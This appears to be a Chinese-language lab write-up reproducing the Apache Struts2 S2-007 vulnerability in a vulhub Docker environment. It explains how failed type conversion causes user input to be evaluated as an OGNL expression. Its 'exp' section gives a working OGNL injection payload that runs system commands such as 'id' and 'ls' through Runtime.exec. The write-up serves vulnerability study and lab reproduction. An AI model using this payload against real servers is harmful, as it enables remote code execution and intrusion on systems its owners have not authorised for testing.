vulhub-struts2-s2-007

Dark1nt發表於2021-06-14

0x00 漏洞原理

  當配置了驗證規則 <ActionName>-validation.xml 時,若型別驗證轉換出錯,後端預設會將使用者提交的表單值通過字串拼接,然後執行一次 OGNL 表示式解析並返回。例如這裡有一個 UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然後配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

當使用者提交 age 為字串而非整形數值時,後端用程式碼拼接 "'" + value + "'" 然後對其進行 OGNL 表示式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單欄位使之轉換出錯,藉助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表示式

0x01 影響版本

Struts 2.0.0 - 2.2.3

0x02 漏洞復現

環境vulhub kali

修改docker-compose.yml中的對映埠

自動化編譯環境

docker-compose build

啟動整個環境

docker-compose up -d

0x03 exp

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

將id改為ls後插入如下

插入後因為執行結果直接返回到了輸入框裡,不好觀察,可以通過burp 去觀察 也可以通過檢視原始碼觀察

從圖中我們可以看到返回了執行ls後的結果